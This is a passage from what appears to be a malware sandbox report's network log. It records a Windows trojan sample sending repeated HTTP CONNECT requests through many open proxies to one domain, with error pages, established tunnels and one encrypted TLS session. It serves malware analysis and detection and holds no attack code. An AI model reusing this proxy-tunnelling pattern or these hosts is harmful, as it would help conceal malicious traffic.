Feb 23, 2024 14:28:38.449719906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.537193060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.8	54626	23.227.38.198	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.465204000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.553020000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.8	54637	162.159.247.57	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.471975088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.559884071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.8	54373	91.189.177.188	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.474730015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.491908073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.678781033 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.8	54536	104.200.135.46	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.482037067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.8	54657	104.16.25.216	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.483613968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.571204901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.8	54393	186.203.163.53	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.493386030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.8	54541	85.14.8.226	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.520431042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.8	54540	91.107.123.189	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.520560026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.726938963 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.8	54389	188.132.222.8	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.521234035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.694770098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789135933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.8	54503	124.160.118.183	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.538208961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.904232025 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Sat, 24 Feb 2024 01:49:42 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.8	54666	45.61.188.134	44499	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.542385101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.8	50674	200.54.22.74	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.550782919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.680064917 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 14:28:40.687227011 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 87 a7 c6 e7 02 b1 ac 32 03 77 38 0b 7b 94 dc 9a 8a 95 18 9a d4 27 a9 63 74 06 80 da 02 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e2w8{'ct*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#k\M07zwo\|Z?bVuT:}M
Feb 23, 2024 14:28:41.207475901 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 9d 88 35 f2 40 51 59 37 69 bb 53 83 04 ab cb ae 75 c4 19 14 8e 07 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e5@QY7iSuDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 14:28:41.207484007 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 14:28:41.207566977 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 14:28:41.207572937 CET	238	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y
Feb 23, 2024 14:28:41.500484943 CET	594	IN	Data Raw: 02 05 03 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 34 a4 1e b1 28 a3 d0 b4 76 17 a6 31 7a 21 e9 d1 52 3e c8 db 74 16 41 88 b8 3d 35 1d ed e4 ff 93 e1 5c 5f ab bb ea 7c cf db e4 0d d1 8b 57 f2 26 6f 5b be 17 46 68 94 37 6f 6b Data Ascii: 0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[w
Feb 23, 2024 14:28:41.751712084 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 89 47 5c 8d f2 d6 27 a4 51 81 91 cd ee 3b ad e1 c6 da 79 12 c5 7e b1 ab 57 38 ab 86 7c 52 75 00 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 72 28 96 03 cd 6d 02 b6 1f b2 dd 73 15 ab aa 01 ec 34 ff 79 22 Data Ascii: %! G\'Q;y~W8\|Ru(r(ms4y"m8!
Feb 23, 2024 14:28:42.583837032 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1e 00 c0 17 12 68 93 04 10 eb 64 a7 dd 43 1d f9 5a 82 d5 b1 3f d5 e3 56 c4 69 f7 a9 a2 53 6d 87 1d a5 61 d4 d9 5a 77 d3 3c 44 86 6a 64 19 62 22 c2 78 30 a7 27 26 5b bc 07 c9 11 dc fa 55 c6 d4 51 77 98 26 53 cf Data Ascii: hdCZ?ViSmaZw<Djdb"x0'&[UQw&SzFkq1r%Ccf0:Cb3(K8+SYTO,TvI'B1F/>< pWO$_([DP
Feb 23, 2024 14:28:44.274337053 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 a9 5a b9 ef 37 2a ca cc 24 75 de cd 80 c3 b6 ab 54 67 a7 19 40 22 b8 1d 42 8c 91 eb 7c 9e e0 c8 c3 93 dc 43 31 00 2c af 9d 56 65 ef 39 c8 e3 b6 c7 f5 03 a5 b6 8a 11 bb 89 42 ba a2 14 6e 06 c8 49 4a 07 18 83 Data Ascii: Z7*$uTg@"B\|C1,Ve9BnIJ}^ZBW+.0zZ>{)wA^57H&<,l;Qn
Feb 23, 2024 14:28:45.159329891 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 ba c2 d5 44 fe fe 6d c4 38 2c e3 ad fa ba 8b 2f fb c1 8a 0a 5f d4 25 ee 00 72 00 08 fb 86 8b 2a c8 df ae 3b 18 1c 20 36 bd b1 3e 40 99 e2 75 bb a0 d5 9f 66 d2 c2 f8 3f ae 5c 04 1b 10 b8 69 53 c2 7a 0b 9b ec Data Ascii: qDm8,/_%r; 6>@uf?\iSz6hysS/aoO!^`tGSTeb}m3S&ISnrR<UGv`UKDQUe^!K%OBo 4yFSi48z\%[Cb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.8	54647	13.38.176.104	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.635276079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.802545071 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.8	50615	81.91.139.76	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.639657974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.924083948 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.8	54668	147.182.195.54	30727	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.653554916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.8	54577	85.172.60.202	1181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.669720888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.8	54524	20.219.178.121	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.669902086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.960768938 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.8	50737	92.204.136.149	16686	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.670169115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.757230997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789026022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.8	54664	51.83.135.35	2846	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.691950083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.8	54555	200.85.137.1	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.692337990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.8	54508	36.64.238.82	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.692715883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.8	54584	95.56.254.139	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.712670088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.552556992 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.8	54598	20.210.113.32	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.712707043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
